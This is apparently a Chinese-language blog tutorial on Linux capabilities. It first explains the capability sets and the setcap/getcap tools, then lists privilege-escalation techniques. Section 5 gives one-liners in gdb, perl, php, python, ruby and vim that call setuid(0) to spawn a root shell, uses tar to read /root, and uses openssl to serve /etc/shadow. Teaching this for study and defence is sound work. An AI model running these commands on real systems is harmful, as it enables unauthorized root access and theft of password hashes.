Linux提权之：利用capabilities提权

Linux提权之：利用capabilities提权

目录

• Linux提权之：利用capabilities提权
• 1 背景
• 2 Capabilities机制
• 3 线程与文件的capabilities
  • 3.1 线程的capabilities
  • 3.2 文件的capabilities
  • 3.3 运行exec后capabilities的变化
• 4 Linux Capabilities管理
  • 4.1 Linux系统管理Capabilities的工具
  • 4.2 获取capabilities
  • 4.3 设置capabilities
• 5 利用Capability实现权限提升
  • 5.1 查找设置了capabilities可执行文件
  • 5.2 gdb
  • 5.3 perl
  • 5.4 php
  • 5.5 python
  • 5.6 ruby
  • 5.7 rvim
  • 5.8 vim
  • 5.9 tar
  • 5.10 openssl
• 2 参考链接

1 背景

我们运行SUID的命令时，通常只是需要使用一小部分特权，但是使用SUID，却可以拥有root用户的全部权限。所以，一旦SUID的文件存在漏洞，便可能被利用，以root身份执行其他操作。

SUID的问题，主要在于权限控制太粗糙。为了对root身份进行更加精细的控制，Linux增加了另一种机制，即capabilities。

2 Capabilities机制

Capabilities机制，是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域，可以分别启用或禁用。从而，在实际进行特权操作时，如果euid不是root，便会检查是否具有该特权操作所对应的capabilities，并以此为依据，决定是否可以执行特权操作。

例如，下表列出了一些常见的特权操作及其对应的capability：

改变文件的所属者(chown())	CAP_CHOWN
向进程发送信号(kill(), signal())	CAP_KILL
改变进程的uid(setuid(), setreuid(), setresuid()等)	CAP_SETUID
trace进程(ptrace())	CAP_SYS_PTRACE
设置系统时间(settimeofday(), stime()等)	CAP_SYS_TIME

Capabilities是细分到线程的，即每个线程可以有自己的capabilities。而完整的capabilities实现，除了对线程的capabilities具有以下相关功能：

• 进行特权操作时，检查该线程是否拥有该操作的capability
• 提供系统调用，用于获取或修改线程的capability

还应该包含对于文件的capabilities的支持，即：

• 文件系统支持文件附加属性，使得可执行文件具有一定的capabilities，从而在运行时确定其capabilities

注：

• 文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的：
• 设置了cap_setuid的capability的文件并没有设置suid。
• 设置了suid的程序也不拥有cap_setuid的capability。

对于文件capabilities的支持，直到内核2.6.24之后才完成。

3 线程与文件的capabilities

3.1 线程的capabilities

每一个线程，具有3个capabilities的集合，每个集合中，可以包含零个或多个capabilities。

• Permitted

  这个集合定义了线程所能够拥有的特权的上限。换句话说，如果某个capability不在Permitted集合中，那么该线程便不能进行这个capability所对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

• Inheritable

  • 当执行exec()系运行其他命令时，能够被新命令继承的capabilities，被包含在Inheritable集合中。

• Effective

  • 内核检查该线程是否可以进行特权操作时，检查的对象便是Effective集合。如之前所说，Permitted集合定义了上限。线程可以删除Effective集合中的某capability，随后在需要时，再从Permitted集合中恢复该capability，以此达到临时禁用capability的功能。

(Linux 4.3之后，增加了一种集合Ambient。详情可见相关manual)

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3.2 文件的capabilities

文件的capabilities，是保存在文件的扩展属性中。修改这些扩展属性，需要具有CAP_SETFCAP的capability。文件与线程的capabilities，共同决定了通过exec运行该文件后的capabilities。

文件的capabilities功能，需要文件系统的支持。如果文件系统使用了nosuid选项进行挂载，那么文件的capabilities将被忽略。

类似于线程的capabilities，文件的capabilities也包含了3个集合：

• Permitted
  • 这个集合中包含的capabilities，在文件被执行时，被加入其Permitted集合。
• Inheritable
  • 这个集合与线程的Inheritable集合的交集，是执行完exec后实际继承的capabilities。
• Effective
  • 这仅仅是一个bit。如果设置开启，那么在运行exec后，Permitted集合中新增的capabilities会自动出现在Effective集合中；否则不会出现在Effective集合中。对于一些旧的可执行文件，由于其不会调用capabilities相关函数设置自身的Effective集合，所以可以将该可执行文件的Effective bit开启，从而将Permitted集合中的capabilities自动添加到Effective集合中。

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3.3 运行exec后capabilities的变化

上面介绍了线程和文件的capabilities，可能会觉得有些抽象难懂。下面将使用具体的计算公式，来说明执行exec后capabilities是如何确定的。

我们使用P代表执行exec前的capabilities，P’代表执行exec后的capabilities，F代表exec执行的文件的capabilities。那么：

P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)

P’(Effective) = F(Effective) ? P’(Permitted) : 0

P’(Inheritable) = P(Inheritable)

其中的cap_bset是capability bounding set。通过与文件的Permitted集合计算交集，可进一步限制某些capabilities的获取，从而降低了风险。

而正如介绍文件的Effective bit时所说，文件可以将其Effective bit关闭。由此，在通过exec执行该文件后，实际的Effective集合为空集。随后，在需要进行特权操作时，可再将Permitted集合中的capabilities加入Effective集合中。

4 Linux Capabilities管理

4.1 Linux系统管理Capabilities的工具

Linux系统中主要提供了两种工具来管理capabilities：libcap和libcap-ng。

• libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities，同时还提供了capsh来查看当前shell进程的capabilities。
• libcap-ng更易于使用，使用同一个命令filecap来查看和设置capabilities。

4.2 获取capabilities

系统调用capget(2)和capset(2)，可被用于获取和设置线程自身的capabilities。此外，也可以使用libcap中提供的接口cap_get_proc(3)和cap_set_proc(3)。当然，Permitted集合默认是不能增加新的capabilities的，除非CAP_SETPCAP在Effective集合中。

• 查看线程的capabilities

  • 使用包libcap中的命令getpcaps <PID>

    还可以通过/proc/<PID>/task/<TID>/status文件，三种集合分别对应于CapPrm, CapInh和CapEff。但这种的显示结果是数值，不适合人类阅读。

• 查看和设置文件的capabilities

  • 类似的，如果要，可以使用命令getcap或者setcap。

4.3 设置capabilities

以wireshark为例

1. 安装wireshark软件后，默认情况下，普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。

   

2. 为/usr/bin/dumpcap文件授予抓包相关的capabilities

   ┌──(kali㉿kali)-[~]
   └─$ sudo -i
   ┌──(root💀kali)-[~]
   └─# getcap /usr/bin/dumpcap 
   ┌──(root💀kali)-[~]
   └─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
   ┌──(root💀kali)-[~]
   └─# getcap /usr/bin/dumpcap
   /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
   

3. 命令执行后重新启动wireshark，就可以抓包了。

   

4. 删除文件的capabilities

   setcap -r /usr/bin/dumpcap
   

ping为例

使用getcap命令，我们可以看到ping文件的capabilities:

# getcap /bin/ping
/bin/ping = cap_net_raw+ep

• 即该文件的capabilities，设置了Effective bit，而且Permitted集合中包含了CAP_NEW_RAW，从而可以发送raw packet。

5 利用Capability实现权限提升

5.1 查找设置了capabilities可执行文件

getcap -r / 2>/dev/null

5.2 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

5.3 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

5.4 php

php -r "posix_setuid(0); system('/bin/sh');"

5.5 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

5.6 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

5.7 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.8 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.9 tar

1. tar权限

   norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
   /usr/bin/tar = cap_dac_read_search+ep
   
   

   • cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查，利用此特性我们可以读取系统中的敏感信息。

2. 绕过权限检查即可成功创建压缩文件

   norris@sirrom:~$ tar -vcf root.tar /root
   tar: Removing leading `/' from member names
   /root/
   /root/root.txt
   /root/.bashrc
   /root/.gnupg/
   /root/.gnupg/private-keys-v1.d/
   /root/.bash_history
   /root/.cache/
   /root/.local/
   /root/.local/share/
   /root/.local/share/nano/
   /root/.profile
   

3. 解压缩

   norris@sirrom:~$ ls -la root.tar 
   -rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
   norris@sirrom:~$ tar -xf root.tar 
   norris@sirrom:~$ ls -la /root
   total 36
   drwx------ 5 norris norris 4096 Oct 11  2019 .
   drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
   -r-------- 1 norris norris  672 Oct 11  2019 .bash_history
   -rw-r--r-- 1 norris norris  570 Jan 31  2010 .bashrc
   drwx------ 2 norris norris 4096 Oct 11  2019 .cache
   drwx------ 3 norris norris 4096 Oct 11  2019 .gnupg
   drwxr-xr-x 3 norris norris 4096 Oct 11  2019 .local
   -rw-r--r-- 1 norris norris  148 Aug 17  2015 .profile
   -rw------- 1 norris norris   33 Oct 11  2019 root.txt
   

4. 读取root.txt文件

   norris@sirrom:~$ cat /root/root.txt 
   8fc9376d961670ca10be270d52eda423
   

5.10 openssl

使用openssl读取/etc/shadow文件。

setcap =ep /usr/bin/openssl

# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes

# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /

# 启动web服务器，监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP

# 访问本机的web服务，读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::

2 参考链接

Linux的capabilities机制 - 记事本 (rk700.github.io)

c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升_Ningling Pan的博客-CSDN博客